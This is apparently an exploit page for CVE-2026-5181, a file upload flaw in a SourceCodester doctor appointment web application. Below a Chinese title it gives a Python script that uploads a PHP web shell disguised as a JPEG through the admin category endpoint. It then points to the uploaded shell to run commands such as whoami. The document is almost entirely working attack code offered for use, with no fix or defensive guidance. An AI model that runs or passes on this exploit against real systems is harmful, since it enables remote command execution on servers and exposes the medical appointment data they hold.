CVE-2026-5181 SourceCodester医生预约系统文件上传漏洞

import requests # Configuration target_url = "http://target.com/doctors_appointment/admin/ajax.php?action=save_category" shell_filename = "evil_shell.php" # Attacker's payload (PHP code) payload_content = "<?php system($_GET['cmd']); ?>" # Prepare the multipart form data # The vulnerability is in the 'img' parameter files = { 'img': (shell_filename, payload_content, 'image/jpeg') } # Additional data that might be required by the form data = { 'category': 'TestCategory' } # Send the POST request try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Check the upload directory to locate the shell.") print(f"[+] Try accessing: http://target.com/doctors_appointment/uploads/{shell_filename}?cmd=whoami") else: print("[-] Upload failed. Status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")